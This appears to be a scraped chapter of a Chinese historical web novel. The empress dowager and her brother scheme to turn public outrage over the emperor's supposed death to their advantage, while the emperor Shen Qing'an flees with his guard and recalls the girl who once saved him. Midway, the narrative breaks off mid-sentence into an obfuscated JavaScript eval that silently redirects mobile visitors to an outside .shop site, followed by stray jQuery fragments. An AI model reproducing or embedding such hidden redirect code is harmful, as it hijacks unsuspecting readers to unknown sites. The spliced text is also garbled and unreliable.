太岳山的事传回京都时已经到了难以控制的地步。不知谁在后推波助澜,事情愈演愈烈,大街小巷,瓦肆酒楼,贩夫走卒无不议论纷纷,都说皇城中住了个千年祸害,要扰乱朝纲,葬送大周。
民众越发不满,甚至有人带头鼓动,自发行成队伍,声讨太后。
太岳山一行,除去皇帝,解决心头大患,太后心底松快。只是还没得意两日,京都竟闹起了游街,要让她交出皇权,给大众一个说法!
她有什么好说的,不过一群贱民,也敢质问她!先不说他们有没有证据,就算有,她弑君又如何,谁掌握生杀大权,谁才是皇城的主人。
玉华宫内,跪满了一地的人。宫人内侍战战兢兢。自京都流言四起后,太后采取过各种应对之策,祸水东引,颠倒是非,将自己择身事外,营造沈清安咎由自取,惹怒上天,受天罚而亡的假象。
那夜太岳山被百里风一闹,发生了百年难得一见的雪崩,百姓以为,是天谴降世,预示着世道不仁,统治者德行有亏。
太后借题发挥,将此大力宣扬。然,除了那些顽固不化的老人,京都中受了学问的,并不被太后的说辞哄骗,更加坐实了奸佞小人颠覆皇权的事实。
玉华宫内多日不太平,宫人们小心服侍,但也难免被迁怒。此时太后杖责了一些宫人,另一些提心吊胆的将脑袋紧揣在腰间,生怕哪里惹得太后不快就要领罚。
漆照山连夜与太后商讨应对策略,他们不能任由流言肆意传播。
现在还只是在京都,就已经留下祸患,若是传遍大周,岂不要动摇纲纪?
如今他们还没有彻底掌权,边关有不少效忠皇帝的将士,他们手握兵权,是最不能激怒的。
漆照山道∶“武力镇压并不管用,杀得了他们人,却堵不住他们嘴。他们之后还会有千千万万的皇义军。”
皇义军是坚决的拥皇党,由民间文人自发组织,要一个真相,一个公道。
而且,杀了这些人,只会给他们带来麻烦。
太后紧着眉,几日没休息好,正为此事发愁。她已经手握重权了,却还要被一群贱民掣肘,处处受限,简直憋屈。等此事过去,她一定不轻饶这群贱民!
她发了狠,几乎要捏碎茶盏,掷到地上,响亮声,声声入耳。
“那如何办?难不成要哀家低头,真顺了他们意,给他们一个公道?”她雍容的脸上起了几分狰狞,越发刻薄。
漆照山沉思后,道∶“他们想要,就给他们。”
太后问∶“你疯了!”
“他们不过蝼蚁,哀家要杀他们易如反掌!若再多口舌,来一个,哀家杀一个!”
漆照山意味深长的望了眼高坐上位的太后,自己这个妹妹的性子他最了解不过,心狠手辣,手段层出不穷,却最受不得委屈。
幼时尚在家中,因着一件首饰,被庶妹抢了风头。外头她依旧知书达礼,温婉体贴。回府后,第一件事便是狠狠惩罚了庶妹,将那一张脸毁得面目全非,连他一个成年男人看了都觉得触目惊心。
过后,将庶妹随意打发,配给了一个八品小官,还是个死了夫人的鳏夫,年纪大不说,还是个品性恶劣的小人。
漆照山道∶“这件事并没有那么简单,现在我们只看到一个皇义军,却不知道他身后操纵的是谁,若被有心人算计,恐怕,到手的权力也握不久。”
太后不允许权力流逝,更不容许有人从她手里抢走权势,平静下来,道∶“哥哥说得对,是我太着急了。”
她思忖,问∶“哥哥可有打算?有怀疑的人?”
漆照山摇头,此人隐藏得极深,他将朝堂上怀疑过的人都探查了一番,竟没查出任何蛛丝马迹。就像凭空消失一般,没留下任何痕迹。
有时他也怀疑,这皇义军难不成真是自发组织,没有授意任何人?
但很快被否决,因为京都中的皇义军像雨后春笋,一时间全冒了出来。
漆照山∶“我们顺势而为,给他们一个公道。只不过,这公道事实,是我们说了算。”
太后立刻明白。
只是这群文人却不是好糊弄的,百姓也就罢了,文人的嘴却是最毒的,心思也深。
漆照山安慰两句,将事情揽下,天明前出了宫。
而长风这边,先前受了重伤,又带着人事不省的沈清安四处逃亡,一边躲避官兵追捕,一边还要去寻黄药师拿药。
之前约定的取药地点被官兵重重把守,他进不去。依照黄药师的性子,面对重重追兵,只怕不会再去。
可他要去哪寻他?
天南地北,天大地大,长风头一次迷失方向。
他面对岔口,拿出一枚铜钱往上掷,正面朝上选左,反之选右。
然而铜钱却不偏不倚的立了起来。他挠了挠头,无奈的看天,收起铜钱,选了左边的路,西北的方向。
他记得,西北还有一支暗卫,直属于沈清安。
沈清安多数昏沉,偶尔清醒。
他第一次醒来时,还没和聂隐他们分道扬镳,找了一处山洞避祸。
风雪极大,天气极冷,柴火并不够,好在有南茗的药,吃了果真调理血脉,身体暖和起来。
不过那药真的可贵,一颗百两,一瓶有优惠,只要千两。长风稍稍想了会儿,再欠下一笔。
他不需要,只是沈清安的身体却捱不过。
沈清安醒来时,只看了周围,他以为沈清安会责骂他,甚至责罚他,但沈清安什么也没说,只是长久的沉默,手中一直转动着那串珠子。
他心中有愧,却迫不得已。那时的情景,如果没人引开百里风,他们都走不了,所有的将来都将止步太岳山。
长风自私的以为,他们谁都可以死,唯独沈清安不能。
不只是因为他是皇帝,还是因为只有沈清安才是引领大周的未来。
沈清安清楚的知道,他不能死。他没办法责怪任何人。
原以为宫中险恶,将姜芜带在身边才是最安全的。
沈清安心口绞痛。
长风弄来辆马车。马是饱经风霜的老马,车是四面漏风的木板搭建。他身无分文,将佩剑上的玉石配饰典当才换来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321926|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一辆不怎样的马车。
沈清安起身,马车缝隙挤进寒风,他身体羸弱,被风吹得咳嗽。
他目光放得悠远,却只存在这方寸之间。他的世界可以辽阔无垠,可以浩瀚山河,也可以像这辆马车,只有一寸地方。
沈清安抚摸着珠子,眼神痛苦,神情冷清。每一颗珠子上都倾尽了他的思绪。
他自小被告知,他是储君,是未来皇帝,一言一行都要合乎礼仪,说的话,下的决定,都要考虑能不能承担后果。
他注定成王,独不能是自己。
因为会是皇帝,所以不能有自己的情绪,因为高处不胜寒,所以没有人能感同身受。
漆氏当权时,太后逼他出京游学,他没有给父皇诉苦。那时候文城帝醉心修道,大权旁落,沈清安知道,前路只有自己。
刚出京都城门,他遇来了刺杀,几乎要死。几十个暗卫亡于刺客剑下。只有他,在随侍十年的暗卫掩护下逃脱。
那暗卫最后死在自己眼前。沈清安甚至不知道他的名字,只知道代号“鹰”,二十人用一个代号的“鹰”。
他险些熬不过,逃到深山。一边避开追捕,一边防备山中猎户。
几日逃亡,伤口发脓发烂,腹中辘辘,伴着腐臭的烂肉味,他昏死过去。
以为就要死了时,被一个上山采药的姑娘救下。
小姑娘十分嫌弃自己身上的味道,一边皱眉不悦,一边拿出手绢遮住口鼻,嘴里还不停歇的骂他“小混蛋”。
每次他困得不行时,小姑娘狠狠一掌落到他脸上,一点不留情,完了还责怪他弄疼了她的手。
沈清安从来没遇到过如此粗俗的女子,无理取闹。她长得并不好看,在他见过的女子中排不上名号,只能堪堪说一句清秀。
那时他连话也说不出,只能任由小姑娘摆布。
后来几日,沈清安发现她并不会医术,也不是来采药,背着背篓,上山打些野味,采些蘑菇。而她给他医治的方式也简单粗暴,将他伤口的腐肉剜去,再将身上有的药粉,药丸尽数用到他身上。
她甚至不懂哪些药相克,差点送走他。
面对质疑,小姑娘理直气壮,叉腰耍横,说如果不是她侠义心肠,救死扶伤,他早就死了,身体也要被山中野兽瓜食殆尽,死无全尸的!
小姑娘还吓唬他,说山中有吃人的老虎。
沈清安只是笑笑,这座山他从前来过,凶猛的野兽没有,狐假虎威的兔子到是多的是。
等他能行动时,小姑娘头也不回的下山,说怕家里人着急。走时解下腕上的珠串,扔给他,说是值钱的珠宝,能换些银子度日。
深渊见光,绝处逢生,大概就是这样了。
小姑娘说有缘再见,再见时偿还恩情。若是无以为报,就以身相许好了!
她见他模样长得不错。
现在,那束光,灭了。
沈清安心口积郁着浊气,手中的珠子忽然断掉,像他紧绷的弦忽然被拨断。
马车颠簸,一些珠子从裂缝中落下。他埋头捡起时,一滴泪垂落。